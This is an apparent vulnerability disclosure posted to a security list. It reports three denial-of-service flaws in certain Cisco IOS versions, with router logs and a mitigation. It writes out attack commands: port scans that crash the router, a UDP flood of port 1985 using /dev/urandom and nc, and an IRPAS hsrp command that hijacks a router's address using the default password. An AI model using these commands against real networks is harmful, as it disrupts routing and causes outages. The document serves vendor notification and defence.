Three possible DoS attacks against some IOS versions.

[Andrew Vladimirov <andrew () arhont com>]

There are three possible unreported DoS conditions in certain versions of 
IOS I could get my hands on. 

1. When scanning all 65535 ports from a single host using nmap (full
connect/half connect/null/fin/ack/xmas) through a Cisco 2611 running
C2600-IO3-M, Version 12.1(6.5)the router crashes. Same applies to 
scanning a class C network for a single open port.  This was discovered 
while auditing a corporate network. 

Enableing or disableing: CBAC, IDS, IP Accounting and applied extended 
ACL's with logging, does not effect the results ie. the problem persists.
 
Here comes the log :

OS (tm) C2600 Software (C2600-IO3-M), Version 12.1(6.5), MAINTENANCE 
INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc.

Compiled Mon 29-Jan-01 19:20 by kellythw

hippo#ping cisco.com
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 198.133.219.25, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 168/170/173 ms 

          < < < < < scan starts > > > > > 

-Process= "IP Input", ipl= 0,
pid= 24 > -Traceback= 802CFCE4 802D19DC 807915D8 80791E04 80792598 8078B37C
803645E8  80363694 80363874 803639D0 802F0864
000010: 00:27:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 
failed from 0x802CCB60, pool Processor, alignment 0
-Process= "IP Input", ipl= 0, pid= 24
-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 
80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864
000011: 00:27:30: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 
failed from 0x802CCB60, pool Processor, alignment 0
-Process= "IP Input", ipl= 0, pid= 24
-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 
80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864
000012: 00:28:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 
failed from 0x802CCB60, pool Processor, alignment 0
-Process= "IP Input", ipl= 0, pid= 24
-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 
80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

hippo#sh stacks 24

Process 24:  IP Input
Stack segment 0x80DB0DB4 - 0x80DB3C94
FP: 0x80DB3C68, RA: 0x802DE6D8
FP: 0x80DB3C88, RA: 0x80363998
FP: 0x0, RA: 0x802F0864 
    
hippo#sh run
hippo#

(no response)
  
root@boar:~# ping cisco.com
ping: unknown host cisco.com 

The router does not respond. Connection is lost. CPU utilisation reaches 
90 - 100 %. This bug is different from Cisco Bug ID CSCds07326i, here the 
scan is going through the router and is not directed at it.

2. In certain versions of IOS UDP port 1985 is open when HSRP is not 
running.

For example: 

nmap -sU -vvv -O -p1985 192.168.1.254

Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )
Host  (192.168.1.254) appears to be up ... good.
Initiating UDP Scan against  (192.168.1.254)
The UDP Scan took 0 seconds to scan 1 ports.
Adding open port 1985/udp
Warning:  OS detection will be MUCH less reliable because we did not find 
at least 1 open and 1 closed TCP port.
Interesting ports on  (192.168.1.254):
Port       State       Service
1985/udp   open        unknown
Remote OS guesses: Cisco IOS 11.1(7)-11.2(8.10), Cisco 4500-M running IOS 
11.3(6) IP Plus, Cisco IOS 11.3 - 12.0(11), Cisco 1600/3640/7513 Router 
(IOS 11.2(14)P), Cisco IOS v11.14(CA)/12.0.2aT1/v12.0.3T   

However, a) tcpdump did not show any hsrp packets on the network
         b) attempts to communicate with the router via HSRP using IRPAS
         (http://www.phenoelit.de/irpas/), successful when HSRP is 
         running, failed to illicit any response.

Flooding 1985 with randomly sized UDP packets (cat /dev/urandom pipe via
nc as UDP etc.,) leads to CPU utilisation above 90% and eventually the 
router crashes. Besides the presence of this open port, where it should be 
shut, assists in remote OS fingerprinting.
 
I have checked this with a number of system administrators I know; here 
are the stats for udp port 1985 on their routers I've collected:
 
Open 1985: 12.1(8a)E5 Catalyst 6k R700, 11.2(23) C2500-I-L, 12.2(2)XI 
(c827), 12.1(9) (C2500-I-L), 11.1(16) (c1000), 12.0(4)XM (c805), 12.2(2)T1
(C2600-IK8O3S);

Closed 1985: 12.0(3)T (C2500-I-L), 12.0(9) (c1600), 11.3(8)T1 (c2600), 
12.0(3)T (c1720), 12.2(3) (c1720), 12.0(16) (C2500-I-L), 12.0(5)XQ
(C1700-NY-M); 

In general, 12.0.x does not appear to have this potential problem.
Out of the routers checked, 50 % had udp 1985 open. All routers with 
1985 open were succeptible to DoS via 1985 UDP flood. None had HSRP 
enabled and running.

 
3. While using IRPAS to test the "bug" above I have found the following. 
The 12.1.x IOS implementation of HSRP fails to check the IP address of the 
phantom router against the IP address of the interface on which HSRP is 
running when the IP is advertised from the remote host using IRPAS. This 
results in a conflict over the IP address for the interface, bypassing 
normal sanity checks. 

An obvious DoS condition is created, since the phantom router can be 
remotely given an IP address of a local interface through which packets 
enter the Active router, thus leading to a loop. 

Example :

./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i eth0 
where 192.168.1.253 - IP of a phantom router, 192.168.1.254 - IP of an
active router interface on which the standby 1 ip 192.168.1.253 command is
configured.

000059: 00:10:34: %STANDBY-6-STATECHANGE: Standby: 1: Ethernet0/1 state 
Active -> Speak

000060: 00:10:34: %STANDBY-3-DIFFVIP1: Ethernet0/1 Group 1 active routers 
virtual IP address 192.168.1.254 is different to the locally configured
address 192.168.1.253

May  6 18:28:26 192.168.1.254 324: 000317: 2d17h: %STANDBY-3-DUPADDR:
Duplicate address 192.168.1.254 on Ethernet0/1, sourced by 0050.043a.ff60

Nevretheless, the router goes into standby and 192.168.1.254 is taken as a
phantom's IP. 

Interestingly, ./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i 
eth0 -S 192.168.1.254 does not appear to have any effect and the packets 
are dropped. 

Setting a good password while enabling HSRP (something that should be done
anyway !) provides a temporary solution for this problem. Unfortunately, I
have seen networks running HSRP with default password "cisco".

Vendor status: PSIRT was informed on 07.05.02

Asknowledgements to: the Arhont team, Phenoelit team/Fyodor for tools,
the rest of the open source community.

      Andrew A. Vladimirov
          aka _clf3_
          Arhont LTD
         www.arhont.com
        Security Manager
          CCNP / CCDP